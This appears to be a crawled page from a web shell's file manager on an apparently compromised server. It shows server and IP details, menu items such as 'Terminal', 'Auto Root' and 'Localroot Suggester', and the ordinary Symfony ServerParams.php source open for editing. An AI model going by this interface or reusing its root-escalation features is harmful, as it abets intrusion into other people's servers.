Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.220.62.173
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
wb /
vendor /
symfony /
form /
Util /
Delete
Unzip
Name
Size
Permission
Date
Action
FormUtil.php
1.03
KB
-rw-rw-r--
2022-07-20 13:00
InheritDataAwareIterator.php
1.12
KB
-rw-rw-r--
2022-07-20 13:00
OptionsResolverWrapper.php
2.55
KB
-rw-rw-r--
2022-07-20 13:00
OrderedHashMap.php
4.81
KB
-rw-rw-r--
2022-07-20 13:00
OrderedHashMapIterator.php
4
KB
-rw-rw-r--
2022-07-20 13:00
ServerParams.php
2.37
KB
-rw-rw-r--
2022-07-20 13:00
StringUtil.php
1.34
KB
-rw-rw-r--
2022-07-20 13:00
Save
Rename
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Form\Util; use Symfony\Component\HttpFoundation\RequestStack; /** * @author Bernhard Schussek <bschussek@gmail.com> */ class ServerParams { private $requestStack; public function __construct(RequestStack $requestStack = null) { $this->requestStack = $requestStack; } /** * Returns true if the POST max size has been exceeded in the request. * * @return bool */ public function hasPostMaxSizeBeenExceeded() { $contentLength = $this->getContentLength(); $maxContentLength = $this->getPostMaxSize(); return $maxContentLength && $contentLength > $maxContentLength; } /** * Returns maximum post size in bytes. * * @return int|float|null */ public function getPostMaxSize() { $iniMax = strtolower($this->getNormalizedIniPostMaxSize()); if ('' === $iniMax) { return null; } $max = ltrim($iniMax, '+'); if (str_starts_with($max, '0x')) { $max = \intval($max, 16); } elseif (str_starts_with($max, '0')) { $max = \intval($max, 8); } else { $max = (int) $max; } switch (substr($iniMax, -1)) { case 't': $max *= 1024; // no break case 'g': $max *= 1024; // no break case 'm': $max *= 1024; // no break case 'k': $max *= 1024; } return $max; } /** * Returns the normalized "post_max_size" ini setting. * * @return string */ public function getNormalizedIniPostMaxSize() { return strtoupper(trim(\ini_get('post_max_size'))); } /** * Returns the content length of the request. * * @return mixed */ public function getContentLength() { if (null !== $this->requestStack && null !== $request = $this->requestStack->getCurrentRequest()) { return $request->server->get('CONTENT_LENGTH'); } return isset($_SERVER['CONTENT_LENGTH']) ? (int) $_SERVER['CONTENT_LENGTH'] : null; } }